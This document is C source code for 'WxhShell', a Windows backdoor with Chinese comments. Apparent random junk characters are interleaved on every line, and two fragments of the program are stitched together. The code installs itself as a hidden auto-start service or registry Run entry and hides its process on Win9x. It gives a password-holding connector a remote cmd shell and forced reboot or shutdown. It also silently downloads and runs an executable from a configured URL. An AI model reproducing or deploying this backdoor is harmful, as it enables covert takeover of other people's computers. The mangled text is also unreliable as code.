  case 'd': { Wwz>tE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); PIA&s6U  
    if(Boot(SHUTDOWN)) dx~Wm1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kk,->q<1  
    else { 9T]]TEv4  
    closesocket(wsh); \S9z.!7v$  
    ExitThread(0); #O~Y[''C5X  
    } Bw$-*FYE  
    break; ns3k{l#  
    } Xk3Ufz]QN  
  // 获取shell 1Nz\3]-  
  case 's': { ..!yf e"5  
    CmdShell(wsh); LV[4zo]=  
    closesocket(wsh); \bg^E>-  
    ExitThread(0); %tMfOW  
    break; [Yv5Sw  
  } 0C7"*H0 R  
  // 退出 bhI8b/  
  case 'x': { S$#Awen"@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n5b N/  
    CloseIt(wsh); H\S,^)drJ?  
    break; 29GiNy+ob  
    } m4iR '~L}  
  // 离开 ]mc,FlhU@  
  case 'q': { B5cTzY.h-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); , R)[$n  
    closesocket(wsh); OJ 2M_q)e  
    WSACleanup(); e D}Ga4  
    exit(1); 4ldN0 _T5  
    break; R[Rs2eS_  
        } ,To ED  
  } Mk?9`?g.  
  } zh6so.  
~q/`Z)(yc  
  // 提示信息 *cd9[ ~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5mV'k"Om#"  
} #y?z2 !  
  } "[%NXan  
j}|6k6t  
  return; <D=%5 5  
} z/TRqD  
[7B&<zY/?  
// shell模块句柄 \KEL.}B9E  
int CmdShell(SOCKET sock) njIvVs`q  
{ -{< %Wt9  
STARTUPINFO si; B)(A#&nrb  
ZeroMemory(&si,sizeof(si)); 7}*5Mir p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .B)v " Sw#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ":Q70*xSm  
PROCESS_INFORMATION ProcessInfo; us]ah~U6A  
char cmdline[]="cmd";  [W;14BD7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %!q(zql  
  return 0; Yc %eTh  
} v|hi;l@7E  
K+7xjFoDIR  
// 自身启动模式 [;2v[&Po  
int StartFromService(void) u66w('2  
{ Cr&ua|%F  
typedef struct h m"B kOA  
{ G0^PnE0-  
  DWORD ExitStatus; G6 GXC`^+  
  DWORD PebBaseAddress; c" l~=1Dr  
  DWORD AffinityMask; rUyT5Vf  
  DWORD BasePriority; )y K!EK\  
  ULONG UniqueProcessId; Wc)^@f[~<  
  ULONG InheritedFromUniqueProcessId; Uq&|iB#mF  
}   PROCESS_BASIC_INFORMATION; n;MoMGnPh,  
a5)+5  
PROCNTQSIP NtQueryInformationProcess; 2q#$?qs_b  
Ft]sTA+C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %jkd}D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; | zAey\  
cB<Zez  
  HANDLE             hProcess; T}zi P  
  PROCESS_BASIC_INFORMATION pbi; [ -%oO  
w#o<qrpHf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0 cQf_o  
  if(NULL == hInst ) return 0; :9)>!+|'  
l +#`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $Fo ,$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &K7g8x"x.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Lt*H|9  
isaT0__8  
  if (!NtQueryInformationProcess) return 0; )S`A+M K]  
M_PL{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d BJM?/  
  if(!hProcess) return 0; b w cPY  
/r)d4=1E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }3+(A`9h f  
I[R?j?$}>  
  CloseHandle(hProcess); E{FNsa  
y_'8m9Qy)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); WgY3g1C  
if(hProcess==NULL) return 0; n"Ev25%  
?6[>HX;  
HMODULE hMod; s2tEyR+gW  
char procName[255]; 8g$ 8]'M^T  
unsigned long cbNeeded; X4o8  
 l[ L{m7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i#C?&  
6=zme6D  
  CloseHandle(hProcess); IX3r$}4  
gU 8'7H2  
if(strstr(procName,"services")) return 1; // 以服务启动 * "E]^wCn  
is6JS^Q  
  return 0; // 注册表启动 ZJx:?*0a  
} Q8P;AN_JS  
!?KY;3L:  
// 主模块 x|Q6[Y  
int StartWxhshell(LPSTR lpCmdLine) Y!SD^Ie7!  
{ Pukq{/27  
  SOCKET wsl; c,+oH<bZZs  
BOOL val=TRUE; `T mIrc  
  int port=0; ZGS=;jM  
  struct sockaddr_in door; \zKVgywR  
s*S@} l  
  if(wscfg.ws_autoins) Install(); \Q#F&q0  
L 5>>gG ,  
port=atoi(lpCmdLine); 2\7]EW  
Gjzhgz--  
if(port<=0) port=wscfg.ws_port; j\W+wnAgk  
L-MpdC  
  WSADATA data; |#S!qnXB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; f+)F-3  
;z&p(e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6#.R'O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l lQ<x  
  door.sin_family = AF_INET; jx-W$@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K%Rx5 S  
  door.sin_port = htons(port); ' rXkTm1{  
0z,c6MjM+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $bN%x/  
closesocket(wsl); )`L!eN  
return 1;  Z3I<  
} &3AGj,  
/at#[Pw~01  
  if(listen(wsl,2) == INVALID_SOCKET) { H >RGX#|  
closesocket(wsl); JNZKzyJ9K  
return 1; R^K<u#>K  
} aZmSCi:&'  
  Wxhshell(wsl); 2Qn%p[#n  
  WSACleanup(); `B^?Za,xN  
VD1*br^,  
return 0; KC  
^^v\ T  
} "F0,S~tZZ  
hLBX,r)u  
// 以NT服务方式启动 }|x]8zL8G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d/|@"z^?  
{ ] Li(E:  
DWORD   status = 0; N<?RN;M  
  DWORD   specificError = 0xfffffff; 5 1 L:%Af  
br0gB3 r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {lqnn n3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \b' <q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bZ0r/f,n$  
  serviceStatus.dwWin32ExitCode     = 0; c.NAUe_3  
  serviceStatus.dwServiceSpecificExitCode = 0; '!Q[+@$  
  serviceStatus.dwCheckPoint       = 0; 5<&<61[A  
  serviceStatus.dwWaitHint       = 0; 8p PAEf  
qG~O] ($  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -N9U lW2S  
  if (hServiceStatusHandle==0) return; lPx4I  
2&P'rmFm  
status = GetLastError(); fLPB *y6  
  if (status!=NO_ERROR) 3:S Ex;d+  
{ V}3.K\7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =7Nm= 5@  
    serviceStatus.dwCheckPoint       = 0; P hn&hRAO  
    serviceStatus.dwWaitHint       = 0; +8v!vuO'  
    serviceStatus.dwWin32ExitCode     = status; ]2tX'=X  
    serviceStatus.dwServiceSpecificExitCode = specificError; "bRck88V  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  8sE@?,  
    return; uGgR@+7?Z  
  } b PiJCX0d  
V5M_N;h  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y_\vXY'  
  serviceStatus.dwCheckPoint       = 0; fNQ.FAK":  
  serviceStatus.dwWaitHint       = 0; FJ~Dg3F1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); VNaa(Q  
} tZ4W]od  
)PR{ia64;<  
// 处理NT服务事件,比如:启动、停止 Z1*y$=D?3[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E5.)ro=$  
{ /J1O{L  
switch(fdwControl) C <]rY  
{ 0;o`7f  
case SERVICE_CONTROL_STOP: H<"{wUPT0  
  serviceStatus.dwWin32ExitCode = 0; :Iw)xd1d}\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; YQ2ie>C8  
  serviceStatus.dwCheckPoint   = 0; YS/{q~$t  
  serviceStatus.dwWaitHint     = 0; evZ{~v& /  
  { x1wm]|BIf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1vi<@i,  
  } N#Y4nllJ  
  return; ~M+|g4W%  
case SERVICE_CONTROL_PAUSE: ]w! x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4RJ8 2yq-  
  break; fok OjTE  
case SERVICE_CONTROL_CONTINUE: 6?z&G6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QD q2<  
  break; |fq1Mn8  
case SERVICE_CONTROL_INTERROGATE: N!aV~\E  
  break; F5:4 B]ZF  
}; iC$~v#2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V/<dHOfR\  
} j[9xF<I  
,Rz,[KI|  
// 标准应用程序主函数 zN*/G6>A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NhXTt!S6C  
{ 3,W2CN}  
Peh( *D{  
// 获取操作系统版本 $0NWX  
OsIsNt=GetOsVer(); CQQX7Y\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >\%44ba6  
lzw3 x  
  // 从命令行安装 w=y!|F  
  if(strpbrk(lpCmdLine,"iI")) Install(); hP,SvN#!2  
[K x_%Le  
  // 下载执行文件 0}-&v+  
if(wscfg.ws_downexe) { zZGPA j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 74xI#`E  
  WinExec(wscfg.ws_filenam,SW_HIDE); E.t9F3  
} { SJ=|L6  
WSKG8JT^|  
if(!OsIsNt) { ok2$ p  
// 如果时win9x,隐藏进程并且设置为注册表启动 9^)ochY3  
HideProc(); (Sv7^}j  
StartWxhshell(lpCmdLine); !G Z2|~f9  
} _hK7hvM>  
else o~2bk<]z  
  if(StartFromService()) + .mIC:9  
  // 以服务方式启动 !nC Z,  
  StartServiceCtrlDispatcher(DispatchTable); B$_F)2%m;  
else l&^9<th  
  // 普通方式启动 DTI+VY .W^  
  StartWxhshell(lpCmdLine); ,bKA]#(2  
:$j!e#?=  
return 0; ]Y}faW(&Y  
} I?Hj,lN  
(SU*fD!t  
YNH>^cD1  
3@\vU~=P:  
=========================================== [A fV+$  
(/Hq8o-Fw  
\bZbz/+D  
M +~guTh  
WQ|d;[E  
E _/v$  
" hnmFhJ !g  
Fu(e4E  
#include <stdio.h> JIjqGxR  
#include <string.h> 84cmPnaT  
#include <windows.h> KSc&6UVz^  
#include <winsock2.h> QaUh+k<6  
#include <winsvc.h> (S =::ODU  
#include <urlmon.h> *<OWd'LI  
#<MLW4P  
#pragma comment (lib, "Ws2_32.lib") w(<; $9  
#pragma comment (lib, "urlmon.lib") M\DUx5d J,  
j+88J  
#define MAX_USER   100 // 最大客户端连接数 /Vg R[  
#define BUF_SOCK   200 // sock buffer UW. F1)  
#define KEY_BUFF   255 // 输入 buffer vx5;}[Bhm  
o>\jc  
#define REBOOT     0   // 重启 Qf$0^$ "  
#define SHUTDOWN   1   // 关机 _bMD|  
~BaU2S@y  
#define DEF_PORT   5000 // 监听端口 <~u.:x@ R  
b=Zg1SqV  
#define REG_LEN     16   // 注册表键长度 4qrPAt  
#define SVC_LEN     80   // NT服务名长度 kZWc(LwA  
l)Q,*i  
// 从dll定义API bv)E>%Yy  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p}}}~ lC/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _+T;4U' p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *;1G+Q#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ec)G~?FH  
I,l%6oPa  
// wxhshell配置信息 \4bma<~a  
struct WSCFG { 0 jVuF l  
  int ws_port;         // 监听端口 ?k<wI)JR  
  char ws_passstr[REG_LEN]; // 口令 GmcxN<  
  int ws_autoins;       // 安装标记, 1=yes 0=no ZL+{?1&-  
  char ws_regname[REG_LEN]; // 注册表键名 Wu2#r\  
  char ws_svcname[REG_LEN]; // 服务名 T=A7f6`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 LrsP4G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7?]gUrE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jcYI"f"~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;_F iiBk7(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r%&hiobMYs  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sYYg5vL9  
BT2[@qH|qF  
}; +wY3E*hU  
)Mi #{5z  
// default Wxhshell configuration T=ox;r  
struct WSCFG wscfg={DEF_PORT, +7|Oy3s  
    "xuhuanlingzhe", BO#fzq%  
    1, k&n7 _[]n  
    "Wxhshell", pW:U|m1dS  
    "Wxhshell", KJ.ra\F  
            "WxhShell Service", ST'L \yebc  
    "Wrsky Windows CmdShell Service", 'B8fc-n  
    "Please Input Your Password: ", +)qPUKb?  
  1, [t: =%&B  
  "http://www.wrsky.com/wxhshell.exe", Ni"fV]'  
  "Wxhshell.exe" W7O%.xP  
    }; #:"\6s  
\I/l6H>o3  
// 消息定义模块  i/y+kL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a^)7&|$ E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1Yz1/gFj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _U.8\J2  
char *msg_ws_ext="\n\rExit."; +`mJh \*  
char *msg_ws_end="\n\rQuit."; 3S_KycE{  
char *msg_ws_boot="\n\rReboot..."; Yu9Ccj`  
char *msg_ws_poff="\n\rShutdown..."; g5M-Vu  
char *msg_ws_down="\n\rSave to "; |2 g }i\  
Z@t).$  
char *msg_ws_err="\n\rErr!"; }u5 Mexs  
char *msg_ws_ok="\n\rOK!"; YzhZ%:8  
ZBJ.dK?Ky|  
char ExeFile[MAX_PATH]; j0kEi+!TVq  
int nUser = 0; B>o #eW  
HANDLE handles[MAX_USER];  8Nd +  
int OsIsNt; 7>9/bB+TL  
$*G]6s  
SERVICE_STATUS       serviceStatus; <$Q&n{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8T&m{s  
)fA9,yNJ3  
// 函数声明 -+'{C =  
int Install(void); pE^LQi  
int Uninstall(void); oHxaa>C>  
int DownloadFile(char *sURL, SOCKET wsh); 1mFc]1W  
int Boot(int flag); $gJMF(  
void HideProc(void); VE wv22'  
int GetOsVer(void); !MTm4Ls  
int Wxhshell(SOCKET wsl); oQjh?vm  
void TalkWithClient(void *cs); v)%EG  
int CmdShell(SOCKET sock); RVXRF_I  
int StartFromService(void); C3G?dZKv2  
int StartWxhshell(LPSTR lpCmdLine); 8ftLYMX@  
rQ30)5^V|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :* /<eT_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); TJ?}5h5  
2^[fUzL?  
// 数据结构和表定义 dn:g_!]p  
SERVICE_TABLE_ENTRY DispatchTable[] = @ns2$(wkm@  
{ r\'3q '7p  
{wscfg.ws_svcname, NTServiceMain}, 7EI(7:gOn  
{NULL, NULL} [B+ o4+K3  
}; G\*`EM4  
nD MNaMYb  
// 自我安装 JBeC\ \QX  
int Install(void) f$*M;|c1c/  
{ v$+G_@  
  char svExeFile[MAX_PATH]; \X Nb9-  
  HKEY key; '/z.\S  
  strcpy(svExeFile,ExeFile); sN5 x\9U  
NV36Q^Am[  
// 如果是win9x系统,修改注册表设为自启动 HTQ .kV  
if(!OsIsNt) { p%xo@v(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {|%5}\%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [|ky~sRr  
  RegCloseKey(key); '=\]4?S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c ?V,a`6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 44kY[jhf  
  RegCloseKey(key); lY?TF  
  return 0; 1YAy\F~`.  
    } k3sP,opacX  
  } $Z.c9rY1  
} O4]Ss}ol  
else { &|n*&@fF  
Af5In9WB5  
// 如果是NT以上系统,安装为系统服务 A!Xn^U*p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y;;^o6Gnw  
if (schSCManager!=0) w{I60|C]*  
{ Q]{DhDz ?+  
  SC_HANDLE schService = CreateService 7yeZ+lD  
  ( iMk`t:!;#"  
  schSCManager, k8Qv>z  
  wscfg.ws_svcname, va~:oA  
  wscfg.ws_svcdisp, _~HGMC)  
  SERVICE_ALL_ACCESS, `z Z=#p/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 03$Ay_2  
  SERVICE_AUTO_START, G U0zlG] C  
  SERVICE_ERROR_NORMAL, 3|P P+<o  
  svExeFile, rH8?GR0<  
  NULL, _q3SR[k+`  
  NULL, )Qw|)='-  
  NULL, ln3x1^!  
  NULL, (0Hhn2JA  
  NULL _L%/NXu,  
  ); ~ Z%>N  
  if (schService!=0) q'C'S#qqn  
  { q^"P_pV\  
  CloseServiceHandle(schService); .zBSjh_=H  
  CloseServiceHandle(schSCManager); n." j0kc7=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S9U9;>g  
  strcat(svExeFile,wscfg.ws_svcname); }gag?yQ.^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y($"i<rN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /e4hB  
  RegCloseKey(key); Qy0bp;V/  
  return 0; !%T@DT=l&  
    } &b"PjtU.X  
  } n)$ q*IN"  
  CloseServiceHandle(schSCManager); @^k$`W;  
} :L*CL 8m  
} l]oGhM;  
z#D@mn5\ a  
return 1; J@!Sf7k42  
} _ F@>?\B  
CDU^X$Q  
// 自我卸载 Gx'mVC"{  
int Uninstall(void) 2=["jP!B  
{ KhXW5hS1  
  HKEY key; {BJ[h  
dRWp/3 }  
if(!OsIsNt) { W5J"#^kdF8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?y ]3kU  
  RegDeleteValue(key,wscfg.ws_regname); ~Z.lvdA_5  
  RegCloseKey(key); .6e5w1r63  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vlEd=H,LT  
  RegDeleteValue(key,wscfg.ws_regname); Vu~mi%UH  
  RegCloseKey(key); AL H^tV?  
  return 0; WiPMvl8  
  } 4A|5eg9N  
} \-V  
} TQID-I  
else { `A&64D  
XImb"7|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xQWZk`6~L  
if (schSCManager!=0) `4\H'p  
{ ]#3=GFs/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ms{v;fT  
  if (schService!=0) o] )qv~o)  
  { VNXB7#ry  
  if(DeleteService(schService)!=0) { ~[k 2(  
  CloseServiceHandle(schService); sI9~TZ :  
  CloseServiceHandle(schSCManager); r IS \#j  
  return 0; \iu2rat^  
  } t)$>++i  
  CloseServiceHandle(schService); ~l{CUQU  
  } 1xT^ ,e6  
  CloseServiceHandle(schSCManager); Rqvm%sAi  
} +c\fDVv  
} K<Iz5+oD  
:rk]o*  
return 1; q;>'jHh  
} g>VkQos5"  
`P : -a7_  
// 从指定url下载文件 m(*CuM[E  
int DownloadFile(char *sURL, SOCKET wsh) (doFYF~w  
{ G>*s+  
  HRESULT hr; ywi Shvi8  
char seps[]= "/"; RX7,z.9@'O  
char *token; OEq8gpqY  
char *file;  "}Ya.  
char myURL[MAX_PATH]; h r*KDT^!  
char myFILE[MAX_PATH]; e:NzpzI"v  
XXxX;xz$  
strcpy(myURL,sURL); 9-}&znLZe  
  token=strtok(myURL,seps); /PHktSG  
  while(token!=NULL) *k=Pk  
  { JMO"(?  
    file=token; V , )kw{](  
  token=strtok(NULL,seps); Z{u*vUC&  
  } VpTp*[8O  
]J_Dn\  
GetCurrentDirectory(MAX_PATH,myFILE); 2E=E!Zwt_  
strcat(myFILE, "\\"); < 8WS YZ  
strcat(myFILE, file); s&8QRI.  
  send(wsh,myFILE,strlen(myFILE),0); ?z Ms;  
send(wsh,"...",3,0); `9b D%M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <(s+  
  if(hr==S_OK) ?$=N!>P#  
return 0; )M'#l<9B  
else }{]{`\  
return 1; $zxCv7  
U/0NN>V  
} "QGP]F  
fv<($[0  
// 系统电源模块 f8'&(-  
int Boot(int flag) 9I^_n+E  
{ gy9!T(z  
  HANDLE hToken; pS0-<-\R  
  TOKEN_PRIVILEGES tkp; hvZW~ =75  
$~zqt%}  
  if(OsIsNt) { r(i<H%"Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :^J(%zy  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); '<4OA!,^)  
    tkp.PrivilegeCount = 1; O{SU,"!y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 63-`3R?;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Hdj0! bUx  
if(flag==REBOOT) { Hsx`P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z*s/%4On  
  return 0; _3hCu/BV  
} kTs)u\r.  
else { :~U1JAs$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !=k\Rr@qx  
  return 0; cs~ }k7><  
} _;X# &S(q-  
  } UmInAH4  
  else { R1J"QU  
if(flag==REBOOT) { 0&-!v?6 )  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e J2[=L'  
  return 0; SQa.xLU  
} B)ynF?"  
else { bpKMQrwd  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4lvo9R  
  return 0; }_5z(7}3  
} ^>[DG]g  
} q& 4Z.(  
oaRPYgh4  
return 1; KJcdX9x  
} B'atwgI0  
9r\8  !R  
// win9x进程隐藏模块 ^ /:]HG  
void HideProc(void) 8>Ervi`  
{ v%86JUlK.  
+z("'Cv  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P,D >gxl  
  if ( hKernel != NULL ) *w> /vu  
  { BjOrQAO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 83;1L:}`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J>XaQfzwU  
    FreeLibrary(hKernel); U5izOFc  
  } _.Uz!2  
n1buE1r?  
return; z9;vE7n!  
} p~Dm3^Y  
UxD1+\N6?  
// 获取操作系统版本 sOU_j4M{  
int GetOsVer(void) R0*DfJS:Z  
{ uTB; Bva  
  OSVERSIONINFO winfo; "Z}0A/y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D1#E&4   
  GetVersionEx(&winfo); g<}EL[9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P{QRmEE  
  return 1; nb0<.ICF%R  
  else 6sB!m|zm]:  
  return 0; pN4!*7M  
} ]DC]=F.  
Z2*hQ`eE  
// 客户端句柄模块 wrGd40  
int Wxhshell(SOCKET wsl) ?R"5 .3  
{ ,<pql!B-  
  SOCKET wsh;  Q+dBSKSK  
  struct sockaddr_in client; bs%]xf ~D;  
  DWORD myID; 69yTGUG3  
'{6`n5:e  
  while(nUser<MAX_USER) Wu.od|t0  
{ If!0w ;h  
  int nSize=sizeof(client); z-$?.?d  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J8? 6yd-7  
  if(wsh==INVALID_SOCKET) return 1; CdTmL{Y1  
`2r21rVntf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t$Irr*  
if(handles[nUser]==0) !dVcnK1  
  closesocket(wsh); R>pa? tQgK  
else \EB]J\ x<  
  nUser++; h`3;^T  
  } )-9|3`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uVOpg]8d  
ZpI_/  
  return 0;  _%i|*  
} ufEt"P-X.  
']+H P9i$  
// 关闭 socket ,u~\$ Az6  
void CloseIt(SOCKET wsh) tGM)"u-  
{ Vy-S9=  
closesocket(wsh); P]dDTh~e~  
nUser--; iP' }eQn]c  
ExitThread(0); {fIH9+v  
} UPN2p&gM  
;}|.crMF  
// 客户端请求句柄 aoF>{Z4&B  
void TalkWithClient(void *cs) L)B?p!cdLT  
{ o L6[i'H|  
u$<FKp;I  
  SOCKET wsh=(SOCKET)cs; @@ ZcW<Y"  
  char pwd[SVC_LEN]; :MJBbrV ,  
  char cmd[KEY_BUFF]; / HaS.  
char chr[1]; :p8JO:g9  
int i,j; ?7a< V+V:  
-6t# ?Dkc'  
  while (nUser < MAX_USER) { A=h`Z^8\B  
( 7Y :3  
if(wscfg.ws_passstr) { TvI}yaCu/x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )](8 {}wo  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O@E&lP6  
  //ZeroMemory(pwd,KEY_BUFF); i1aS2gFi_  
      i=0; }zLe;1Tx  
  while(i<SVC_LEN) { hih`:y  
GIZNHG   
  // 设置超时 /hI#6k8o_  
  fd_set FdRead; _Q.3X[88C  
  struct timeval TimeOut; Y>%A*|U%  
  FD_ZERO(&FdRead); X4%*&L  
  FD_SET(wsh,&FdRead); ;y5cs;s  
  TimeOut.tv_sec=8; =WDf [?ED  
  TimeOut.tv_usec=0; \dufKeiS&a  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8|7Tk[X1j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6{+~B2Ef  
=797;|B H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  -U*XA  
  pwd=chr[0]; xZ9y*Gv\=  
  if(chr[0]==0xd || chr[0]==0xa) { \V: _Zs  
  pwd=0; A9lqVMp64  
  break; rZpc"<U  
  } YrZAy5\  
  i++; cMK6   
    } o5Qlp5`:u  
)]qFI"B7  
  // 如果是非法用户,关闭 socket c1:op@t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @ju-cv+  
} ZU "y<  
Y`( I};MO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); df8rf8B-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e,1Jxz4QH  
GSpS8wWD }  
while(1) { v8pUt\m"  
jl:O~UL6i  
  ZeroMemory(cmd,KEY_BUFF); /9GqEQsfM  
09x\i/nb  
      // 自动支持客户端 telnet标准   5l)p5Bb48c  
  j=0; ih~c(&n0  
  while(j<KEY_BUFF) { -F5U.6~`!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  ) mv}u~  
  cmd[j]=chr[0]; lbv, jS  
  if(chr[0]==0xa || chr[0]==0xd) { k?xtZ,n{s  
  cmd[j]=0; Bpk%,*$*)  
  break; 8q tNK> D  
  } "Ny_RF  
  j++; a`|/*{  
    } 1 !\pwd@{  
UdLC]  
  // 下载文件 G.oaDGy  
  if(strstr(cmd,"http://")) { E,C<ox4e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fylaH(LER  
  if(DownloadFile(cmd,wsh)) \t!+]v8f8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3:=XU9p)x  
  else ?58pkg J  
